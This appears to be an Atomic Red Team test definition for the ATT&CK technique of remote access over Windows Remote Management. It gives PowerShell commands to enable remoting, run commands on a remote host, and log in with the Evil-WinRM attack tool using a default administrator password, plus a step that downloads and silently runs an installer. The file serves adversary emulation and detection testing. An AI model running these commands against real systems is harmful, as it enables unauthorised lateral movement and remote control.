attack_technique: T1021.006
display_name: 'Remote Services: Windows Remote Management'
atomic_tests:
- name: Enable Windows Remote Management
  auto_generated_guid: 9059e8de-3d7d-4954-a322-46161880b9cf
  description: |
    Powershell Enable WinRM

    Upon successful execution, powershell will "Enable-PSRemoting" allowing for remote PS access.
  supported_platforms:
  - windows
  executor:
    command: |
      Enable-PSRemoting -Force
    name: powershell
    elevation_required: true
- name: Invoke-Command
  auto_generated_guid: 5295bd61-bd7e-4744-9d52-85962a4cf2d6
  description: |
    Execute Invoke-command on remote host.

    Upon successful execution, powershell will execute ipconfig on localhost using `invoke-command`.
  supported_platforms:
  - windows
  input_arguments:
    host_name:
      description: Remote Windows Host Name
      type: String
      default: localhost
    remote_command:
      description: Command to execute on remote Host
      type: String
      default: ipconfig
  executor:
    command: |
      invoke-command -ComputerName #{host_name} -scriptblock {#{remote_command}}
    name: powershell
- name: WinRM Access with Evil-WinRM
  auto_generated_guid: efe86d95-44c4-4509-ae42-7bfd9d1f5b3d
  description: An adversary may attempt to use Evil-WinRM with a valid account to interact with remote systems that have WinRM enabled
  supported_platforms:
  - windows
  input_arguments:
    user_name:
      description: Username
      type: String
      default: Domain\Administrator
    destination_address:
      description: Remote Host IP or Hostname
      type: String
      default: Target
    password:
      description: Password
      type: String
      default: P@ssw0rd1
  dependency_executor_name: powershell
  dependencies:
  - description: Computer must have Ruby Installed
    prereq_command: try {if (ruby -v) {exit 0} else {exit 1}} catch {exit 1}
    get_prereq_command: |-
      Invoke-WebRequest  -OutFile $env:Temp\rubyinstaller-2.7.1-1-x64.exe https://github.com/oneclick/rubyinstaller2/releases/download/RubyInstaller-2.7.1-1/rubyinstaller-2.7.1-1-x64.exe
      $file1= $env:Temp + "\rubyinstaller-2.7.1-1-x64.exe"
      Start-Process $file1 /S;
  - description: Computer must have Evil-WinRM installed
    prereq_command: try {if (evil-winrm -h) {exit 0} else {exit 1}} catch {exit 1}
    get_prereq_command: gem install evil-winrm
  executor:
    command: 'evil-winrm -i #{destination_address} -u #{user_name} -p #{password}'
    name: powershell
    elevation_required: true
